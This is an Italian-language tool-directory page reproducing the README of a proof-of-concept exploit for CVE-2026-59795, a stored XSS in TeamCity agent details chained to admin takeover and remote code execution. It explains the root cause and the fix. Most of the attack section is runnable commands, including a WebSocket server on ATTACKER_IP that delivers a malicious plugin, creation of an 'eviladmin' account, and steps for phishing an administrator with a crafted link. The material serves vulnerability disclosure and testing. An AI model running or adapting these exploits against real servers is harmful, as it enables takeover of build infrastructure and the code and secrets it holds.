Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/joakimbulow/cve-2026-59795
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebSviluppo Payload
GitHubjoakimbulow/cve-2026-59795

CVE-2026-59795

Proof-of-concept per CVE-2026-59795: XSS memorizzato non autenticato nei dettagli degli agenti di TeamCity, concatenato alla creazione di un account SYSTEM_ADMIN e all'RCE tramite caricamento di plugin.

Vedi Repository
3 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-59795 - XSS memorizzato non autenticato in TeamCity con escalation a RCE

XSS memorizzato non autenticato nella pagina legacy dei dettagli dell'agente di TeamCity, con escalation a RCE sul server senza riavvio. Un attaccante registra un agente di build (senza credenziali richieste) con un os.name malevolo, poi induce un amministratore a visualizzare la pagina dei dettagli di quell'agente. Il payload viene eseguito nella sessione autenticata dell'amministratore e può creare un account SYSTEM_ADMIN oppure caricare e attivare un plugin malevolo.

Riepilogo

CVECVE-2026-59795
AffectedTeamCity <= 2026.1.1 (build 222577)
Fixed in2026.1.2 (222647), 2025.11.6 (208214)
CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
TypeXSS memorizzato (CWE-79), concatenabile con takeover di SYSTEM_ADMIN e RCE
Auth requiredNessuna per inserire il payload

Trigger: un amministratore visualizza l'agente malevolo, sia tramite un link appositamente creato con &fromSakuraUI=true sulla UI Sakura predefinita, sia senza alcun phishing aprendo l'agente in attesa nel normale flusso di autorizzazione quando l'amministratore utilizza la UI classica (opzione "Use Sakura UI" deselezionata a livello di utente, oppure modalità classica a livello di server).

Causa principale

webapps/ROOT/agent/agentSummary.jsp visualizza il nome del sistema operativo riportato dall'agente senza effettuare escaping:

<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>

Full write-up with screenshots and background: https://joakimbulow.com/posts/cve-2026-59795/ Il nome dell'agente fratello poche righe sopra utilizza <c:out>, confermando che l'omissione è accidentale. operatingSystemName è completamente controllato dall'attaccante: un agente non autenticato lo imposta alla registrazione (attributo osName in POST /app/agents/v1/register), e il server lo memorizza e lo restituisce testualmente.

L'interfaccia React di Sakura esegue correttamente l'escape di osName e normalmente reindirizza lontano dalla pagina legacy, ma il reindirizzamento viene saltato (e il JSP non sottoposto a escape viene renderizzato) quando:

  • l'amministratore apre l'agente con ?fromSakuraUI=true nell'URL (il flag di bypass del tag di reindirizzamento stesso), oppure
  • l'amministratore utilizza l'interfaccia classica (teamcity.ui.experimental=disableDefault, oppure l'opt-out per utente "Use Sakura UI"), oppure
  • l'amministratore ha fatto clic su "View in classic UI" per quell'agente, oppure
  • la pagina viene caricata in un iframe.

Impatto

Confermato dal vivo:

  • Esecuzione di alert(document.domain) nella sessione dell'amministratore, senza effetti collaterali.
  • Creazione di un nuovo account SYSTEM_ADMIN nella sessione dell'amministratore (senza RCE).
  • Catena completa: l'XSS carica un plugin su /admin/pluginUpload.html e lo abilita tramite /admin/plugins.html (EnableAllPlugins), il quale carica codice Java dell'attaccante nella JVM di TeamCity in esecuzione senza riavvio. Verificato tramite un file di prova scritto sull'host del server, 4 secondi dopo il clic dell'amministratore.

Correzione

Eseguire l'escape dell'output in agentSummary.jsp:

<strong><c:out value="${agent.operatingSystemName}"/></strong>

(Il campo agent.version nella riga sopra ha lo stesso problema e necessita della stessa correzione.)

Requisiti

  • Un server TeamCity <= 2026.1.1, configurazione predefinita
  • Una distribuzione dell'agent TeamCity, scaricabile senza autenticazione dal target: GET /update/buildAgent.zip
  • Python 3 (solo stdlib)
  • javac sulla macchina dell'attaccante, necessario solo per il PoC RCE
  • Percorso di rete dal browser dell'amministratore alla macchina dell'attaccante, necessario solo per il PoC RCE (consegna WebSocket)
curl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent

Non è necessario modificare manualmente conf/buildAgent.properties; ogni PoC riportato di seguito imposta serverUrl a partire dal proprio argomento --url/--tc-url e riscrive il nome dell'agente a ogni esecuzione, quindi è sicuro riutilizzare più volte la stessa directory evilagent/ scompattata.

PoC (./poc/)

Eseguirli in ordine, ciascuno conferma un impatto maggiore rispetto al precedente.

1. alert_only.py, conferma la XSS, zero effetti collaterali. Piazza un agente il cui osName fa scattare alert(document.domain). Nessun account creato, nessun codice eseguito.

python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent

2. attacker_deeplink.py, takeover da XSS a SYSTEM_ADMIN, senza RCE. Stessa piantagione, ma il payload crea un account SYSTEM_ADMIN (eviladmin / Ev1l-Pass-123) ed esegue polling finché quell'account non riesce ad accedere.

python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent

3. rce_ws_server.py, catena completa, da XSS a upload del plugin a RCE, in un unico terminale. Compila un plugin, avvia l'agent malevolo e un server WebSocket, e stampa il link di phishing. Quando l'admin lo visualizza: l'XSS si attiva, il server WS consegna il plugin, questo viene caricato e abilitato, e TeamCity lo carica a runtime.

python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
    --tc-url https://teamcity.example.com --agent-dir ./evilagent

Ogni PoC stampa un link come:

https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true

Invia quel link all'amministratore (Sakura UI, un clic), oppure, se l'amministratore utilizza già la UI classica, indicalo semplicemente a agentDetails.html?id=N senza alcun parametro speciale, ad esempio tramite il normale flusso di revisione degli agenti in attesa.

Verifica dell'RCE

Entro pochi secondi dal clic dell'amministratore, sull'host del server TeamCity:

cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user:   <tc-process-user>
host:   <hostname>
java:   <java-version>
cwd:    <teamcity-bin-dir>
time:   <timestamp>

Configurazione RCE divisa (server WebSocket sull'host TeamCity stesso)

Se il browser dell'amministratore non riesce a raggiungere direttamente la tua macchina attaccante, ad esempio sei raggiungibile solo tramite un tunnel SSH verso il target, usa rce_prepare.py per compilare il plugin e l'agent sulla tua macchina, poi trasferisci poc/ws_serve.py e lo ZIP del plugin compilato sull'host TeamCity e servili da lì:

# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
    --ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip

# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337

Inoltra la porta WebSocket attraverso lo stesso tunnel usato per raggiungere TeamCity (-L 1337:localhost:1337) in modo che il browser dell'amministratore possa raggiungerla come ws://localhost:1337.

Nota sulla pulizia: ogni esecuzione registra un agente con un nome nuovo, quindi le esecuzioni ripetute non entreranno in conflitto, ma ognuna lascia dietro di sé un nuovo agente non autorizzato. Rimuovili in Agents -> Unauthorized dopo i test.

File

Scarica lo strumento